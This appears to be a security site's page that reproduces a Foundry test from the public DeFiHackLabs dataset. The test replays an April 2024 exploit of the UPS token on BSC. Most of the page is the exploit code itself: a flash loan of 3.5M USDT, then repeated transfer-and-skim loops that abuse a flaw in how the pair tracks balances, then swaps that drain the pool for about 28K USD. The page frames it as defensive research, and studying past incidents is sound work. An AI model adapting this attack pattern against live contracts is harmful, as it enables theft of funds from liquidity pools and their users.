Skip to content
THREATWIRE

Public reproduction file

src/test/2024-04/UPS_exp.sol

Public reproduction file for dataset entry UPS.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/UPS_exp.sol74 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// TX : https://app.blocksec.com/explorer/tx/bsc/0xd03702e17171a32464ce748b8797008d59e2dbcecd3b3847d5138414566c886d
8
9// Profit : ~ 28K USD
10// REASON : business logic flaw XD transfer to pair won't lead to pair's amount change
12contract ContractTest is Test {
13 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
14 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
15 IERC20 UPS = IERC20(0x3dA4828640aD831F3301A4597821Cc3461B06678);
16 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
17 Uni_Pair_V3 pool = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);
18 Uni_Pair_V2 ups_usdt = Uni_Pair_V2(0xA2633ca9Eb7465E7dB54be30f62F577f039a2984);
19 Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
20 uint256 borrow_amount;
22 function setUp() external {
23 cheats.createSelectFork("bsc", 37_680_754);
24 deal(address(USDT), address(this), 0);
25 }
27 function testExploit() external {
28 emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
29 borrow_amount = 3_500_000 ether;
30 pool.flash(address(this), borrow_amount, 0, "");
31 emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);
32 }
34 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, /*fee1*/ bytes memory /*data*/ ) public {
35 USDT.transfer(address(ups_usdt), 2_000_000 ether);
36 ups_usdt.sync();
37 swap_token_to_token(address(USDT), address(UPS), 1_000_000 ether);
38 uint256 i = 0;
39 uint256 pair_balance = 0;
40 uint256 here_balance = 0;
41 uint256 transfer_amount = 0;
42 while (i < 10) {
43 pair_balance = UPS.balanceOf(address(ups_usdt));
44 here_balance = UPS.balanceOf(address(address(this)));
45 console.log(">>>>", here_balance, pair_balance, "<<<<");
46 if (here_balance > pair_balance) {
47 transfer_amount = pair_balance;
48 } else {
49 transfer_amount = here_balance;
50 }
51 UPS.transfer(address(ups_usdt), transfer_amount);
52 ups_usdt.skim(address(this));
53 i++;
54 }
55 i = 0;
56 while (i < 3) {
57 transfer_amount = UPS.balanceOf(address(ups_usdt));
58 UPS.transfer(address(ups_usdt), transfer_amount);
59 (uint256 r0, uint256 r1,) = ups_usdt.getReserves();
60 uint256 amountOut = router.getAmountOut(transfer_amount - r0, r0, r1);
61 ups_usdt.swap(0, amountOut, address(this), "");
62 i++;
63 }
64 USDT.transfer(address(pool), borrow_amount + fee0);
65 }
67 function swap_token_to_token(address a, address b, uint256 amount) internal {
68 IERC20(a).approve(address(router), amount);
69 address[] memory path = new address[](2);
70 path[0] = address(a);
71 path[1] = address(b);
72 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
73 }

Analysis

Dataset entry

Public Foundry test for “UPS” (2024-04-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

File record

Name
UPS
Path
src/test/2024-04/UPS_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
26ed4c40e5c11f0915b229a3fbf076d2e82e4b67
Language
Solidity
Size
75 lines
Date
2024-04-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-04/UPS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 26ed4c40e5c11f0915b229a3fbf076d2e82e4b67, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.